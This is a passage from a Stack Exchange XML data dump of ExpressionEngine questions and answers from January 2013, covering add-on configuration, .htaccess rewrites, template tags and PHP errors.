relationships" Tags="|add-on|relationships|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5227" PostTypeId="1" CreationDate="2013-01-22T16:45:07.907" Score="2" ViewCount="89" Body="&lt;p&gt;I have two channels, one called Product System (product_system) and one called Product Orders (product_orders). The product system contains all the products that the company produces and the product orders contains all the products ordered in a particular order. The two channels are linked by product_id relationship field in product_orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to be able to do is to produce a product order spreadsheet, that allows me to show the orders in rows, the products in columns and the number of products ordered, in a particular order, in the related square in the grid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The columns must be dynamic, so that if a new product is added, it automatically appears in the grid.&lt;/p&gt;&#xA;" OwnerUserId="869" LastActivityDate="2013-02-15T02:16:36.343" Title="How do I create a product order summary table using EE addons?" Tags="|add-on|relationships|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5228" PostTypeId="1" CreationDate="2013-01-22T16:48:17.447" Score="1" ViewCount="128" Body="&lt;p&gt;When I try to upload a file in Chrome the &quot;Uploads files&quot;-button is dimmed. When I click it I can select files with the browser file browser, but when Assets tries to upload it stops after a few seconds and nothing appears. I do however get an error in the console: Uncaught Error: QUOTA_EXCEEDED_ERR: DOM Exception 22.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine in Firefox. Tried both 2.0.1 and 2.0.2. Developing in a local environment, with no .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="870" LastEditorUserId="268" LastEditDate="2013-01-23T01:31:04.760" LastActivityDate="2013-01-23T01:31:04.760" Title="Assets not uploading files in Chrome, works fine in Firefox" Tags="|add-on|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5229" PostTypeId="2" ParentId="5223" CreationDate="2013-01-22T16:52:34.567" Score="0" Body="&lt;p&gt;I got my current setup working using the info from this post &lt;a href=&quot;https://expressionengine.stackexchange.com/a/177/603&quot;&gt;https://expressionengine.stackexchange.com/a/177/603&lt;/a&gt;. Still wish there was an easier way for the client though.&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-01-22T16:52:34.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5230" PostTypeId="1" CreationDate="2013-01-22T17:06:38.703" Score="2" ViewCount="701" Body="&lt;p&gt;I'm trying to set up two Fedex shipping methods in Expresso Store. I've set up a Fedex API account and have added the API Key, Password, Account number and Meter number that Fedex gave me. However, I always just receive the error &quot;Meter number is missing or invalid.&quot;, even if I set the test mode to True.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what I'm doing wrong? The meter number is definitely the one that Fedex gave me, with no hidden spaces or any other mistakes. I'm running Store 1.6.0 on EE 2.3.0&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="268" LastEditDate="2013-01-23T01:31:22.933" LastActivityDate="2013-11-01T10:42:18.903" Title="Fedex errors on shipping method, whether it's set to Test mode or not" Tags="|add-on|expresso-store|shipping|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5231" PostTypeId="2" ParentId="5211" CreationDate="2013-01-22T17:14:51.417" Score="0" Body="&lt;p&gt;To add to Stevens answer,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make a radio button with, say, three design options. The fields will then be displayed in the template as chosen. {if field==&quot;design 1&quot;}...{/if}&#xA;This gives them a bit of freedom, but not so much as to let them shovel divs around to their liking.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-01-22T17:14:51.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5232" PostTypeId="2" ParentId="5211" CreationDate="2013-01-22T17:32:30.867" Score="1" Body="&lt;p&gt;This will only help if this is a channel you wish to control via the Pages module, but &lt;a href=&quot;http://devot-ee.com/add-ons/better-pages&quot; rel=&quot;nofollow&quot;&gt;Better Pages&lt;/a&gt; does exactly that - it provides a UI for selecting a layout, and also showing/hiding fields based on this selection.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-22T17:32:30.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5233" PostTypeId="2" ParentId="5226" CreationDate="2013-01-22T17:37:45.720" Score="2" Body="&lt;p&gt;If you have a channel for veg, and a channel as a holder for states and cities and a channel for markets, you could set it up from the veg selected (broccoli) and within that entry in the admin panel, you have two playa &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; fields that reference states, cities, and markets channels respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I would use playa is to make it so multiple states/markets could be selected. There is probably another way of doing that, like having the states be a category list, but I find playa is nice to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I always think back from the final URL you want to look over the details from and work your way back. In this case it might be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domain.com/state/city/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/state/city/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you would do a lookup for any vegetable that has both the state and city in its record. Within the record you have a market field that spits out the details of that market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use something like &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; in place of the entries tag, to spit back things on a more granular level or to include ifs/ands or fuzzy logic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that point, you need to have a search form to get you to that URL. A lot like Low Search has in it too, but it could be a custom form as well.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:10.030" LastActivityDate="2013-12-30T13:05:10.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5234" PostTypeId="1" AcceptedAnswerId="5235" CreationDate="2013-01-22T17:40:19.397" Score="3" ViewCount="1635" Body="&lt;p&gt;I'm using Low Search on a site and during testing we are seeing the error “You are not authorized to perform this action” pretty frequently on the site after submitting the search form. Does anyone know why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="172" LastEditDate="2013-01-23T09:16:56.080" LastActivityDate="2013-01-23T09:16:56.080" Title="“You are not authorized to perform this action” with Low Search" Tags="|low-search|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5235" PostTypeId="2" ParentId="5234" CreationDate="2013-01-22T17:40:19.397" Score="7" Body="&lt;p&gt;The &quot;You are not authorized to perform this action&quot; error in this case was caused by users using their browser's back button while testing the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the &lt;code&gt;secure=&quot;no&quot;&lt;/code&gt; parameter to the &lt;code&gt;exp:low_search:form&lt;/code&gt; tag fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form secure=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-22T17:40:19.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5236" PostTypeId="1" AcceptedAnswerId="5470" CreationDate="2013-01-22T17:57:17.270" Score="4" ViewCount="500" Body="&lt;p&gt;I'm building a VERY simple store setup to demonstrate its capabilities to a client. I setup a quick and dirty EE site, added Structure, Wygwam and Store. EE and all the add-ons are current versions. I then created my field types, my product channel, and linked the two. I added a store home page in Structure and told it to use the store_example/index template. I added a single product then went to the site. So far so good. I went to the product page, clicked on add to cart and nothing appears in the sidebar cart after the page reloaded. Is there some step I've missed or a reason why my add to cart button wouldn't work?Remember, these are the default templates that are installed with Store, I haven't changed anything other then that main navigation on top. and linked to a common bootstrap.css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I'm not sure how relevant this is but I started looking at other Store examples on the web and I noticed that the exp:store:product tag was outputting a form tag with an action. Mine is missing the action parameter for some strange reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; .htaccess file contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# remove index.php&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;# EE 404 page for missing pages&#xA;ErrorDocument 404 /index.php/site/404&#xA;&#xA;# remove www&#xA;# RewriteCond %{HTTP_HOST} ^example.com$ [NC]&#xA;# RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The removal of index.php is from the documentation for Structure and has worked for all sites I've ever built with it. The 404 was added recently due to EE not working without it. I never could figure out why. The removal of www is commented out because this is a test site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenting out the removal of index.php and updating my $config['site_index'] does work but I'd like to be able to remove index.php from the URLs.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="150" LastEditDate="2013-01-28T14:55:53.417" LastActivityDate="2013-01-28T14:55:53.417" Title="Store isn't adding products to the cart" Tags="|expresso-store|htaccess|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5237" PostTypeId="2" ParentId="3552" CreationDate="2013-01-22T17:58:21.993" Score="0" Body="&lt;p&gt;With the help of EllisLab, we found the issue and the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that because the form was so long, the preg_match_all function in the template class was hitting a PHP limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we had to increase the PHP backtrack_limit which fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wanted to post this incase anyone else ever runs into this issue with long Safecracker forms.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-01-22T17:58:21.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5238" PostTypeId="2" ParentId="5225" CreationDate="2013-01-22T18:06:24.803" Score="4" Body="&lt;p&gt;You can wrap parameters of your &lt;code&gt;channel:entries&lt;/code&gt; tag in simple conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of duplicating your channel loop (which is not very DRY), just use one loop and put the category parameter inside a conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    {if segment_1 == &quot;&quot;}category=&quot;1&quot;{/if}&#xA;}&#xA;    {!-- channel entries template stuff --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you &lt;em&gt;did&lt;/em&gt; want to use a snippet for the repeated template code yet still reap the benefits of working with templates as files you can use &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;Snippet Sync&lt;/a&gt;. I use it on all my installs and it works great. There is a &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync-developer-license&quot; rel=&quot;nofollow&quot;&gt;developer license&lt;/a&gt; available.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-01-23T03:08:35.330" LastActivityDate="2013-01-23T03:08:35.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5239" PostTypeId="2" ParentId="5211" CreationDate="2013-01-22T18:24:39.710" Score="2" Body="&lt;p&gt;You've just described Blueprints &lt;a href=&quot;http://devot-ee.com/add-ons/blueprints&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/blueprints&lt;/a&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-01-22T18:24:39.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5240" PostTypeId="2" ParentId="5211" CreationDate="2013-01-22T18:36:46.137" Score="1" Body="&lt;p&gt;You could create all the different fields you need for each layout and then use the &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;entry type&lt;/a&gt; addon to control which ones are shown to the user based on their choice. Then you could use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt;, in your template, with the value of the chosen layout as the variable to control what code is used. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{your_entry_type_field}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;layout1&quot;}&#xA;        Template 1 code goes here&#xA;    {/case}&#xA;&#xA;    {case value=&quot;layout2&quot;}&#xA;        Template 2 code goes here&#xA;    {/case}&#xA;&#xA;    {case value=&quot;layout3&quot;}&#xA;        Template 3 code goes here&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will do what you want but out of the box you won't be able to show an image of the layout. If that is crucial you are better off going down the path Derek suggests using either Better pages or Plates add-ons. &lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-22T18:36:46.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5241" PostTypeId="2" ParentId="5208" CreationDate="2013-01-22T19:21:36.357" Score="0" Body="&lt;p&gt;Looks like your network is blocking connections to that domain, possible due to the fact it is using SMTP. It's recommended you use their web API for this purposes. REST API calls are just standard HTTP, so if your host/server is blocking requests over the SMTP port, the SMTP calls with fail while the regular HTTP requests will succeed. It should be noted, I am purely speculating based on the limited information in this report. I have read many reports about this stuff, but never experienced it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to use the Mandrill API to send email for virtually anything, included all system emails in Postmaster. Email support[at]objectivehtml.com if you have any Postmaster specific questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/postmaster-v1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-22T19:21:36.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5242" PostTypeId="2" ParentId="5228" CreationDate="2013-01-22T20:05:31.803" Score="1" Body="&lt;p&gt;If the button is dimmed, that should mean that you don’t have a folder selected on the left, so Assets isn’t sure where to upload the file.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-22T20:05:31.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5243" PostTypeId="1" CreationDate="2013-01-22T20:15:44.390" Score="1" ViewCount="380" Body="&lt;p&gt;I have a Low Variable that is set as a Matrix field. Inside of my Matrix, I have a field set as an Expresso field. When I view the edit variable screen, the Expresso toolbar doesn't show up -- the field just appears to be a regular text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to display my Low Variable field in a template, it displays the Expresso text unprocessed, as if it were a regular text field, and I get these php errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined property: Expresso_ft::$row&#xA;Filename: expresso/ft.expresso.php&#xA;Line Number: 389&#xA;&#xA;Message: Undefined property: Expresso_ft::$row&#xA;Filename: expresso/ft.expresso.php&#xA;Line Number: 390&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output     started at /path/to/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the same issue if I switch the field type from Expresso to Rich Text -- no editing buttons on the edit variable screen, and these php errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined index: field_fmt&#xA;Filename: libraries/Rte_lib.php&#xA;Line Number: 505&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output     started at /path/to/system/codeigniter/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have any problems using Matrix, Expresso or Rich Text fields as Low Variables individually, it's only when I nest the Expresso or RT fields inside a Matrix inside of a Low Variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.4, Low Variables 2.3.2, Matrix 2.5.2 and Expresso 3.0.2&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2013-01-23T18:28:41.380" LastActivityDate="2015-08-14T10:02:05.107" Title="Problem with Expresso or Rich Text fields inside a Matrix inside a Low Variable" Tags="|matrix|expresso|low-variables|richtext|expresso-toolbar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5244" PostTypeId="1" AcceptedAnswerId="5245" CreationDate="2013-01-22T20:40:27.250" Score="5" ViewCount="70" Body="&lt;p&gt;I am working on a site where the admin wants a set of tabular data. I created a module to display this data in the Control Panel, no problems there. My first concern was if there is a preferred method for storing module specific files (a CSV in this case). I settled on adding a directory within the module that stores the CSVs. Is there a better way? Particularly more secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next issue was in forcing the download of the CSV. I would like to use the proper URL structure to hit a download_csv method in my module, set the headers and read out the file. When I do this, the outputted CSV has a full page markup added to the bottom. Here is the code I used in download_csv:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Content-Type: application/csv&quot;);&#xA;header(&quot;Content-Disposition: attachment; filename=$filename&quot;);&#xA;header(&quot;Pragma: no-cache&quot;);&#xA;readfile($filedir.$filename);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again is there a way to use the proper URL structure and the download_csv method without getting all the &quot;junk&quot; added to the file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2013-01-22T21:03:21.137" Title="Add-On Development: Control Panel Files" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5245" PostTypeId="2" ParentId="5244" CreationDate="2013-01-22T21:03:21.137" Score="3" Body="&lt;p&gt;It's a matter of preference where you store the generated CSVs, but one argument against storing them in the module is that it may make it easier to overwrite them inadvertently when updating the module. I'd use a config setting that points to the directory and leave it up to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To your second point, I've had good success generating CSVs using the following helpers/libs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/file_helper.html&quot; rel=&quot;nofollow&quot;&gt;File Helper&lt;/a&gt;: this makes writing files trivial &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/file_helper.html&quot; rel=&quot;nofollow&quot;&gt;Database Utility&lt;/a&gt;: this allows you to generate CSVs from a DB result&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/download_helper.html&quot; rel=&quot;nofollow&quot;&gt;Download Helper&lt;/a&gt;: You can force a download to the browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-01-22T21:03:21.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5246" PostTypeId="2" ParentId="5207" CreationDate="2013-01-22T21:08:06.980" Score="0" Body="&lt;p&gt;Freeform Pro has the {freeform:mp_data:FIELD_NAME} tag to assist with items like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form#freeform_mp_data_field_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form#freeform_mp_data_field_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-01-22T21:08:06.980" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5247" PostTypeId="1" AcceptedAnswerId="5249" CreationDate="2013-01-22T21:51:10.457" Score="1" ViewCount="371" Body="&lt;p&gt;Just wondering if it's possible to automatically create a .jpg file from a .pdf file when uploading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been seeing a bunch ImageMagick suggestions, but my brain is too tired to grasp it tonight. I guess I'm wondering if there is any other solutions to get a scaled .jpg from a .pdf on upload.&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-01-22T22:12:06.927" Title="Auto generate JPG thumbnails from a PDF in ExpressionEngine?" Tags="|uploads|dynamic|thumbnails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5248" PostTypeId="1" CreationDate="2013-01-22T21:55:07.527" Score="0" ViewCount="683" Body="&lt;p&gt;I'm trying to import a CSV file of about 20 items with a number of columns. I was hoping i could import the file and have each of the rows in 1 entry (ie. each row DOES NOT get imported as a separate entry). Ultimately, I would like to output a template that displays the 1 entry and the rows of data associated with that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have purchased Solspaces Importer, but it appears to import each row as an entry. I really need the entire import to be 1 entry. I hope that's clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be importing CSV files on a continuous basis. Each import could range from 2 rows to 40rows. Again... Each import should be a single entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-01-29T09:12:48.530" Title="import a CSV file into an entry?" Tags="|ee2|solspace|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5249" PostTypeId="2" ParentId="5247" CreationDate="2013-01-22T22:12:06.927" Score="3" Body="&lt;p&gt;If you need the JPGs for rendering on a page the &lt;a href=&quot;http://devot-ee.com/add-ons/thumber&quot; rel=&quot;nofollow&quot;&gt;Thumber&lt;/a&gt; add-on from ElectricPutty should do exactly what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:thumber:create src='/uploads/documents/yourfile.pdf' page='2' extension='jpg' height='250' class='awesome' title='Click to download' link='yes'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-22T22:12:06.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5250" PostTypeId="2" ParentId="5248" CreationDate="2013-01-22T22:15:08.353" Score="2" Body="&lt;p&gt;I believe &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab&lt;/a&gt; should do exactly that... it's been a few years since I've had to use it but it's a pretty powerful add-on.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-22T22:15:08.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5251" PostTypeId="1" AcceptedAnswerId="5426" CreationDate="2013-01-22T22:17:26.373" Score="2" ViewCount="216" Body="&lt;p&gt;I am using zoo visitor to register members onto a site.&#xA;Some member groups are required to select their country which is saved in their entry as a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a region field which is a sub category list linked to the country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have all the required field errors set inline but am not sure how I would require the country category (and if possible the region if it was present)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant section of my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form return='/register/success' allowed_groups=&quot;7|8&quot; datepicker=&quot;yes&quot; error_handling=&quot;inline&quot; rules:country=&quot;required&quot;}&#xA;&amp;lt;label for=&quot;mobile&quot; class=&quot;required&quot;&amp;gt;Mobile number:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;mobile&quot; id=&quot;mobile&quot; value=&quot;{mobile}&quot; /&amp;gt;&#xA;&amp;lt;span class=&quot;error&quot;&amp;gt;&amp;amp;nbsp;{error:mobile}&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;country_of_residence&quot; class=&quot;required&quot;&amp;gt;Country:&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;country&quot; class=&quot;quicksearch region_optional&quot;&amp;gt; &#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select Country&amp;lt;/option&amp;gt;  &#xA;    {exp:channel:categories category_group=&quot;1&quot; parent_only=&quot;yes&quot; style=&quot;linear&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;option data-name=&quot;{category_name}&quot; value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&amp;lt;/select&amp;gt; &#xA;    &amp;lt;br&amp;gt;&amp;lt;span class=&quot;error&quot;&amp;gt;&amp;amp;nbsp;{error:country}&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;regions&quot; class=&quot;required&quot;&amp;gt;Region:&amp;lt;/label&amp;gt;       &#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;regions&quot; class=&quot;quicksearch&quot;&amp;gt; &#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select Region&amp;lt;/option&amp;gt;&#xA;    {exp:channel:categories disable=&quot;category_fields&quot; style=&quot;linear&quot;}&#xA;    {if parent_id == '0'}{if count != '1'}&amp;lt;/optgroup&amp;gt;{/if}&amp;lt;optgroup label=&quot;{category_name}&quot;&amp;gt;{/if}&#xA;    {if parent_id != '0'}&amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;{/if}&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/select&amp;gt; &amp;lt;br&amp;gt;&#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastEditorUserId="95" LastEditDate="2013-01-23T11:12:57.310" LastActivityDate="2013-01-26T14:20:09.657" Title="Safecracker / zoovisitor required category field" Tags="|safecracker|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5252" PostTypeId="1" CreationDate="2013-01-22T22:33:30.060" Score="2" ViewCount="5283" Body="&lt;p&gt;I am trying to remove index.php from my URLs on my local WAMP server using the supported .htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went into General Configuration and removed &quot;index.php&quot; from &quot;Name of your site's index page&quot; and saved. I am running EE on a subdirectory (http://localhost:8080/mysite/), so I removed the &quot;/&quot; before &quot;index.php&quot; in the last line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works for the home page, but for the rest pages when I click the links (which now have the index.php removed), I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not Found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The requested URL /mysite/about-us was not found on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am still able to access the about-us page at /mysite/index.php/about-us. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-05-06T22:58:38.297" Title="Remove index.php from URLs on WAMP" Tags="|url|htaccess|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5253" PostTypeId="1" CreationDate="2013-01-22T22:43:43.820" Score="0" ViewCount="47" Body="&lt;p&gt;I.e., something like what embed does, &lt;code&gt;&amp;lt;a href=&quot;{default_site:path='group/template'}&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="875" LastEditorUserId="28" LastEditDate="2013-01-23T01:14:53.957" LastActivityDate="2013-01-23T01:28:49.180" Title="Can i specify the site id to the path variable in a template?" Tags="|templates|multi-site-manager|path|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
